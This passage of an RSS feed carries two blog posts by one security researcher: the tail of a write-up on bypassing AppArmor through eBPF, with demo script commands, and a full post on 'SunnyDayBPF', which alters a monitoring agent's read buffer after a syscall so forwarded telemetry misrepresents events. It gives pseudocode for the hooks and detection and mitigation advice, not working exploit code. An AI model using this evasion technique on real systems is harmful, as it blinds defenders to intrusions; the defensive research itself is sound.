make                            &lt;span class="c"&gt;# build&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; ./scripts/setup_demo.sh   &lt;span class="c"&gt;# create test environment&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; ./scripts/run_demo.sh     &lt;span class="c"&gt;# run full demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The repo includes automated scripts for the complete demo — from AppArmor profile creation to bypass demonstration to cleanup.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means
&lt;/h2&gt;

&lt;p&gt;This isn't a bug in AppArmor. It's not a bug in eBPF. It's a &lt;strong&gt;design gap&lt;/strong&gt; where two kernel subsystems have incompatible trust assumptions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;LSM framework&lt;/strong&gt; assumes all security decisions flow through its hook chain&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;eBPF subsystem&lt;/strong&gt; provides hook points that execute before those security decisions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you can modify the &lt;em&gt;input&lt;/em&gt; to a security check, the correctness of the check itself doesn't matter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The gate was never breached. It was misdirected.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;LID — Linux Integrity Drift&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"Linux is Dying"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/azqzazq1/LID" rel="noopener noreferrer"&gt;GitHub: azqzazq1/LID&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Azizcan Daştan&lt;/strong&gt; — Milenium Security&lt;/p&gt;

</description>
      <category>linux</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>SunnyDayBPF: Post-Syscall User-Buffer Telemetry Deception with eBPF</title>
      <dc:creator>azqzazq1</dc:creator>
      <pubDate>Fri, 08 May 2026 19:23:41 +0000</pubDate>
      <link>https://forem.com/azqzazq1/sunnydaybpf-post-syscall-user-buffer-telemetry-deception-with-ebpf-3p7d</link>
      <guid>https://forem.com/azqzazq1/sunnydaybpf-post-syscall-user-buffer-telemetry-deception-with-ebpf-3p7d</guid>
      <description>&lt;h1&gt;
  
  
  SunnyDayBPF: Post-Syscall User-Buffer Telemetry Deception with eBPF
&lt;/h1&gt;

&lt;p&gt;Security tools do not observe reality directly.&lt;/p&gt;

&lt;p&gt;They observe telemetry.&lt;/p&gt;

&lt;p&gt;And telemetry is only as trustworthy as the path that produced it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SunnyDayBPF&lt;/strong&gt; is a research technique that explores what happens when that path can be influenced after a read-like syscall has already completed.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is SunnyDayBPF?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SunnyDayBPF&lt;/strong&gt; is an eBPF-based &lt;strong&gt;post-syscall user-buffer telemetry deception&lt;/strong&gt; research technique originally proposed and researched by &lt;strong&gt;Azizcan Daştan&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The technique investigates whether data observed by user-space security, logging, or telemetry agents can be altered &lt;strong&gt;after a read-like syscall has completed&lt;/strong&gt;, but &lt;strong&gt;before the agent parses, analyzes, or forwards that data&lt;/strong&gt; to a downstream security pipeline.&lt;/p&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The event still happens.&lt;br&gt;&lt;br&gt;
The monitoring agent still reads data.&lt;br&gt;&lt;br&gt;
But the data observed by the agent may no longer fully represent the original event.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;SunnyDayBPF focuses on the gap between &lt;strong&gt;ground truth&lt;/strong&gt; and &lt;strong&gt;observed telemetry&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why telemetry integrity matters
&lt;/h2&gt;

&lt;p&gt;Modern Linux security systems often rely on user-space agents that collect telemetry from files, sockets, pipes, APIs, kernel interfaces, or event streams.&lt;/p&gt;

&lt;p&gt;These agents may forward telemetry to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SIEM platforms&lt;/li&gt;
&lt;li&gt;EDR/XDR backends&lt;/li&gt;
&lt;li&gt;audit pipelines&lt;/li&gt;
&lt;li&gt;log collectors&lt;/li&gt;
&lt;li&gt;runtime security engines&lt;/li&gt;
&lt;li&gt;detection engineering systems&lt;/li&gt;
&lt;li&gt;observability platforms&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A common assumption is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;actual system behavior == collected telemetry == observed security data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This assumption is convenient.&lt;/p&gt;

&lt;p&gt;It is also dangerous.&lt;/p&gt;

&lt;p&gt;Security products do not usually respond to raw reality. They respond to what their sensors, collectors, parsers, and pipelines observe.&lt;/p&gt;

&lt;p&gt;If the observation path can be influenced, the defender’s view of the system can diverge from what actually happened.&lt;/p&gt;

&lt;p&gt;SunnyDayBPF explores that trust boundary.&lt;/p&gt;




&lt;h2&gt;
  
  
  The core idea
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF is not primarily about hiding a syscall.&lt;/p&gt;

&lt;p&gt;It is not simply about preventing an event.&lt;/p&gt;

&lt;p&gt;It is about manipulating the &lt;strong&gt;observation layer&lt;/strong&gt; after data has already crossed into a monitored process.&lt;/p&gt;

&lt;p&gt;The distinction is important:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traditional evasion:
    hide or prevent the event

SunnyDayBPF-style deception:
    allow the event, but alter what the observer receives
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this model, the event can still occur normally.&lt;/p&gt;

&lt;p&gt;The monitoring process can still perform its read-like operation normally.&lt;/p&gt;

&lt;p&gt;The difference is that the buffer containing the returned data may be modified before the agent parses and forwards it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Normal telemetry flow
&lt;/h2&gt;

&lt;p&gt;In a standard telemetry pipeline, the monitoring agent is treated as a reliable observer.&lt;/p&gt;

&lt;p&gt;A system event occurs, a telemetry source exposes information about that event, and a user-space agent reads the data from that source. After the read operation completes, the agent parses the returned data, normalizes it, and forwards it to a downstream security system such as a SIEM, EDR, audit backend, or detection platform.&lt;/p&gt;

&lt;p&gt;The important assumption is that the data remains consistent across the entire path.&lt;/p&gt;

&lt;p&gt;The event that happened on the system is expected to be the same event that appears in the backend and, eventually, in the defender’s view.&lt;/p&gt;

&lt;p&gt;For example, if a suspicious configuration change occurs, the normal expectation is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ground truth:        suspicious_config_change
Telemetry source:    suspicious_config_change
Agent buffer:        suspicious_config_change
Forwarded event:     suspicious_config_change
Defender view:       suspicious_config_change
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this model, the monitoring pipeline behaves like a transparent chain of custody. Each stage receives, processes, and forwards the same underlying security signal.&lt;/p&gt;

&lt;p&gt;The defender’s alert, dashboard entry, or forensic record is therefore assumed to represent the original event with reasonable accuracy.&lt;/p&gt;

&lt;p&gt;That assumption is exactly what SunnyDayBPF challenges.&lt;/p&gt;




&lt;h2&gt;
  
  
  SunnyDayBPF telemetry flow
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF explores the telemetry pipeline from a different angle. The technique does not focus on preventing the original event, blocking the read operation, or disabling the monitoring agent.&lt;/p&gt;

&lt;p&gt;Instead, it focuses on what happens &lt;strong&gt;after&lt;/strong&gt; a monitoring agent has successfully received telemetry, but &lt;strong&gt;before&lt;/strong&gt; that telemetry is parsed and forwarded.&lt;/p&gt;

&lt;p&gt;In a normal pipeline, a system event becomes telemetry, the monitoring agent reads it, and the same data is expected to continue downstream into the SIEM, EDR, audit backend, or detection pipeline.&lt;/p&gt;

&lt;p&gt;SunnyDayBPF challenges this assumption.&lt;/p&gt;

&lt;p&gt;The research model is based on a narrow but important observation window: the moment after a read-like syscall completes and the agent’s user-space buffer contains telemetry, but before the agent has interpreted that buffer as security data.&lt;/p&gt;

&lt;p&gt;At that point, the event has already happened. The telemetry source has already produced data. The monitoring agent has already received that data. However, the data has not yet become part of the agent’s parsed security record.&lt;/p&gt;

&lt;p&gt;This is the critical trust boundary.&lt;/p&gt;

&lt;p&gt;If the returned buffer is modified during this window, the monitoring agent may continue execution normally while parsing a version of telemetry that no longer fully matches the original event.&lt;/p&gt;

&lt;p&gt;The result is a mismatch between system reality and downstream observation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ground truth:       the original event occurred
Agent input:        telemetry was received
Observation layer:  the returned buffer was altered
Backend view:       modified telemetry was forwarded
Defender view:      the final record may diverge from reality
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is where SunnyDayBPF focuses: not on whether telemetry was collected, but on whether the collected telemetry can still be trusted before it is interpreted.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical model
&lt;/h2&gt;

&lt;p&gt;At a high level, the SunnyDayBPF research model can be described as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sys_enter_*:
    identify a target telemetry-consuming process
    record the user-space buffer pointer involved in the read-like operation

sys_exit_*:
    verify that the read-like operation completed successfully
    inspect the returned user-space buffer
    selectively alter telemetry-relevant content
    allow the target process to continue execution normally
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a mismatch between:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;what happened on the system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;what the monitoring agent later observes, parses, and forwards
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The goal of this research is not to present a production bypass framework.&lt;/p&gt;

&lt;p&gt;The goal is to study a telemetry integrity problem: whether user-space security agents can fully trust the data they are about to parse after a read-like syscall completes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conceptual example
&lt;/h2&gt;

&lt;p&gt;Consider a simplified telemetry pipeline:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A telemetry agent reads security-relevant data.&lt;/li&gt;
&lt;li&gt;The read operation succeeds.&lt;/li&gt;
&lt;li&gt;Data is returned into the agent's user-space buffer.&lt;/li&gt;
&lt;li&gt;A post-syscall manipulation layer observes the completed operation.&lt;/li&gt;
&lt;li&gt;Selected telemetry-relevant content is altered in memory.&lt;/li&gt;
&lt;li&gt;The agent continues normally.&lt;/li&gt;
&lt;li&gt;The backend receives altered telemetry.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The result may look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ground truth:
    suspicious or sensitive telemetry existed

Observed telemetry:
    modified, redacted, or misleading representation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the core SunnyDayBPF concept.&lt;/p&gt;

&lt;p&gt;The event still happened.&lt;/p&gt;

&lt;p&gt;The observation changed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why this matters for defenders
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF highlights a simple but important defensive idea:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Telemetry should be treated as a trust boundary, not automatic ground truth.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Many detection pipelines rely heavily on a single source of telemetry.&lt;/p&gt;

&lt;p&gt;If that source is a user-space agent, and the agent consumes data after a read-like operation, then defenders should ask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Can the data be trusted after it has entered the agent's buffer?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This matters for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;forensic timelines&lt;/li&gt;
&lt;li&gt;audit records&lt;/li&gt;
&lt;li&gt;alerting logic&lt;/li&gt;
&lt;li&gt;process visibility&lt;/li&gt;
&lt;li&gt;file activity monitoring&lt;/li&gt;
&lt;li&gt;compliance evidence&lt;/li&gt;
&lt;li&gt;incident response workflows&lt;/li&gt;
&lt;li&gt;behavioral detections&lt;/li&gt;
&lt;li&gt;SIEM correlation rules&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The question is not only:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Did we collect telemetry?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The better question is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Was the telemetry preserved with integrity before it was processed and forwarded?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Observation-layer deception
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF is best understood as &lt;strong&gt;observation-layer deception&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In many security systems, the sensor is treated as a trusted witness.&lt;/p&gt;

&lt;p&gt;But a witness can be misled.&lt;/p&gt;

&lt;p&gt;The event may be real, but the observer may receive an altered version of the event.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;event happens
telemetry is collected
observation layer is modified
security tool trusts modified telemetry
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the security problem SunnyDayBPF explores.&lt;/p&gt;




&lt;h2&gt;
  
  
  Defensive implications
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF highlights several defensive concerns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;telemetry pipelines may lack strong integrity guarantees&lt;/li&gt;
&lt;li&gt;user-space security agents may process data that has changed after collection&lt;/li&gt;
&lt;li&gt;single-source telemetry trust is risky&lt;/li&gt;
&lt;li&gt;syscall-level truth and agent-level observation may diverge&lt;/li&gt;
&lt;li&gt;detection pipelines should validate data across independent sources&lt;/li&gt;
&lt;li&gt;loaded eBPF programs should be monitored and controlled&lt;/li&gt;
&lt;li&gt;helper usage and attachment points should be audited&lt;/li&gt;
&lt;li&gt;production systems should restrict unnecessary BPF capabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This does not mean all telemetry is broken.&lt;/p&gt;

&lt;p&gt;It means telemetry should be validated like any other security-critical data path.&lt;/p&gt;




&lt;h2&gt;
  
  
  Detection and mitigation ideas
&lt;/h2&gt;

&lt;p&gt;Potential defensive approaches include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;monitor loaded eBPF programs&lt;/li&gt;
&lt;li&gt;restrict BPF capabilities in production environments&lt;/li&gt;
&lt;li&gt;audit unexpected tracepoint, kprobe, fentry, fexit, or LSM attachments&lt;/li&gt;
&lt;li&gt;monitor use of helpers capable of writing into user memory&lt;/li&gt;
&lt;li&gt;alert on unauthorized BPF program loading&lt;/li&gt;
&lt;li&gt;inspect suspicious BPF maps and program lifecycle events&lt;/li&gt;
&lt;li&gt;compare user-space agent telemetry with independent kernel-level telemetry&lt;/li&gt;
&lt;li&gt;correlate SIEM events with auditd, fanotify, procfs, and kernel event sources&lt;/li&gt;
&lt;li&gt;validate process metadata across multiple collection paths&lt;/li&gt;
&lt;li&gt;detect inconsistencies between raw events and forwarded telemetry&lt;/li&gt;
&lt;li&gt;enforce least privilege for telemetry agents&lt;/li&gt;
&lt;li&gt;use kernel lockdown and BPF hardening features where appropriate&lt;/li&gt;
&lt;li&gt;review security agent trust boundaries&lt;/li&gt;
&lt;li&gt;protect telemetry collectors from local tampering&lt;/li&gt;
&lt;li&gt;maintain allowlists for expected BPF programs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A stronger telemetry integrity model should include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;source diversity
+ cross-signal correlation
+ agent hardening
+ BPF capability restriction
+ BPF program monitoring
+ event sequence validation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF is a research technique and has practical limitations.&lt;/p&gt;

&lt;p&gt;Potential limitations include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;kernel version differences&lt;/li&gt;
&lt;li&gt;verifier constraints&lt;/li&gt;
&lt;li&gt;BPF capability requirements&lt;/li&gt;
&lt;li&gt;attachment point availability&lt;/li&gt;
&lt;li&gt;process targeting reliability&lt;/li&gt;
&lt;li&gt;timing sensitivity&lt;/li&gt;
&lt;li&gt;telemetry source variability&lt;/li&gt;
&lt;li&gt;kernel lockdown mode&lt;/li&gt;
&lt;li&gt;BPF restrictions&lt;/li&gt;
&lt;li&gt;detection by runtime security systems&lt;/li&gt;
&lt;li&gt;mismatch when defenders correlate multiple independent telemetry sources&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This research should not be interpreted as a universal bypass of all Linux security monitoring.&lt;/p&gt;

&lt;p&gt;It is a focused investigation into a telemetry trust boundary.&lt;/p&gt;




&lt;h2&gt;
  
  
  Responsible research position
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF is published for authorized security research, defensive analysis, telemetry integrity research, and detection engineering.&lt;/p&gt;

&lt;p&gt;It is not intended for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;unauthorized deployment&lt;/li&gt;
&lt;li&gt;production abuse&lt;/li&gt;
&lt;li&gt;stealth persistence&lt;/li&gt;
&lt;li&gt;credential theft&lt;/li&gt;
&lt;li&gt;destructive behavior&lt;/li&gt;
&lt;li&gt;targeting third-party systems&lt;/li&gt;
&lt;li&gt;bypassing security tools without permission&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All experiments should be performed only in systems you own or are explicitly authorized to test.&lt;/p&gt;

&lt;p&gt;The purpose of publishing this work is to help defenders understand, detect, and mitigate this class of telemetry integrity risk.&lt;/p&gt;




&lt;h2&gt;
  
  
  Repository
&lt;/h2&gt;

&lt;p&gt;The SunnyDayBPF research repository includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;research README&lt;/li&gt;
&lt;li&gt;citation metadata&lt;/li&gt;
&lt;li&gt;responsible-use documentation&lt;/li&gt;
&lt;li&gt;telemetry flow diagrams&lt;/li&gt;
&lt;li&gt;controlled lab PoC notes&lt;/li&gt;
&lt;li&gt;detection engineering ideas&lt;/li&gt;
&lt;li&gt;threat model&lt;/li&gt;
&lt;li&gt;limitations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://github.com/azqzazq1/SunnyDayBPF
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Attribution
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF was originally proposed and researched by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Azizcan Daştan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Research metadata:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Technique Name: SunnyDayBPF
Researcher: Azizcan Daştan
LinkedIn: https://www.linkedin.com/in/azqzazq
GitHub: https://github.com/azqzazq1
Category: eBPF Security Research
Focus Area: Post-Syscall User-Buffer Telemetry Deception
Initial Public Release: 2026
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Suggested citation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Daştan, Azizcan. "SunnyDayBPF: Post-Syscall User-Buffer Telemetry Deception with eBPF." 2026.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;SunnyDayBPF is based on a simple defensive principle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Security visibility is only as trustworthy as the path that produced it.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If defenders treat telemetry as automatic ground truth, they may miss the trust boundaries inside the collection pipeline.&lt;/p&gt;

&lt;p&gt;SunnyDayBPF exists to make that boundary visible.&lt;/p&gt;




&lt;p&gt;Originally published as part of the SunnyDayBPF research documentation.&lt;/p&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/azqzazq1/SunnyDayBPF" rel="noopener noreferrer"&gt;https://github.com/azqzazq1/SunnyDayBPF&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Author: Azizcan Daştan&lt;br&gt;&lt;br&gt;
LinkedIn: &lt;a href="https://www.linkedin.com/in/azqzazq" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/azqzazq&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>ebpf</category>
    </item>
  </channel>
</rss>
